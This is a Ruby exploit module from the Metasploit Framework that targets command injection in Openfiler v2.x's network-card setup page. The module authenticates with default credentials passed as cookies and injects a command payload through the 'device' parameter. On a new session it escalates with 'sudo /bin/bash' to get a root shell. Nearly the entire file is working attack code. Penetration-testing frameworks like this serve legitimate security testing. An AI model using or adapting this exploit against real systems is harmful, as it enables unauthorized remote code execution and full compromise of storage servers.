##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Openfiler v2.x NetworkCard Command Execution",
   'Description'    => %q{
    This module exploits a vulnerability in Openfiler v2.x
    which could be abused to allow authenticated users to execute arbitrary
    code under the context of the 'openfiler' user. The 'system.html' file
    uses user controlled data from the 'device' parameter to create a new
    'NetworkCard' object. The class constructor in 'network.inc' calls exec()
    with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
    providing a system password.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
    ],
   'References'     =>
    [
     ['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/']
     #['OSVDB', ''],
     #['EDB',   ''],
    ],
   'DefaultOptions'  =>
    {
     'ExitFunction' => 'none'
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'       => 1024,
     'BadChars'    => "\x00",
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic telnet python perl bash',
      }
    },
   'Targets'        =>
    [
     ['Automatic Targeting', { 'auto' => true }]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Sep 04 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(446),
    OptBool.new('SSL', [true, 'Use SSL', true]),
    OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']),
    OptString.new('PASSWORD', [true, 'The password for the application', 'password'])
   ], self.class)
 end

 def check

  @peer = "#{rhost}:#{rport}"

  # retrieve software version from login page
  print_status("#{@peer} - Sending check")
  begin
   res = send_request_cgi({
    'uri' => '/'
   })

   if    res and res.code == 200 and res.body =~ /<strong>Distro Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
    return Exploit::CheckCode::Appears
   elsif res and res.code == 200 and res.body =~ /<title>Openfiler Storage Control Center<\/title>/
    return Exploit::CheckCode::Detected
   end

  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   print_error("#{@peer} - Connection failed")
  end
  return Exploit::CheckCode::Unknown

 end

 def on_new_session(client)
  client.shell_command_token("sudo /bin/bash")
 end

 def exploit

  @peer = "#{rhost}:#{rport}"
  user  = datastore['USERNAME']
  pass  = datastore['PASSWORD']
  cmd   = Rex::Text.uri_encode("&#{payload.raw}&")

  # send payload
  print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
  begin
   res = send_request_cgi({
    'uri'    => "/admin/system.html?step=2&device=lo#{cmd}",
    'cookie' => "usercookie=#{user}; passcookie=#{pass};",
   }, 25)
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   fail_with(Exploit::Failure::Unknown, 'Connection failed')
  end

  if    res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/
   print_good("#{@peer} - Payload sent successfully")
  elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/
   fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
  else
   fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
  end

 end
end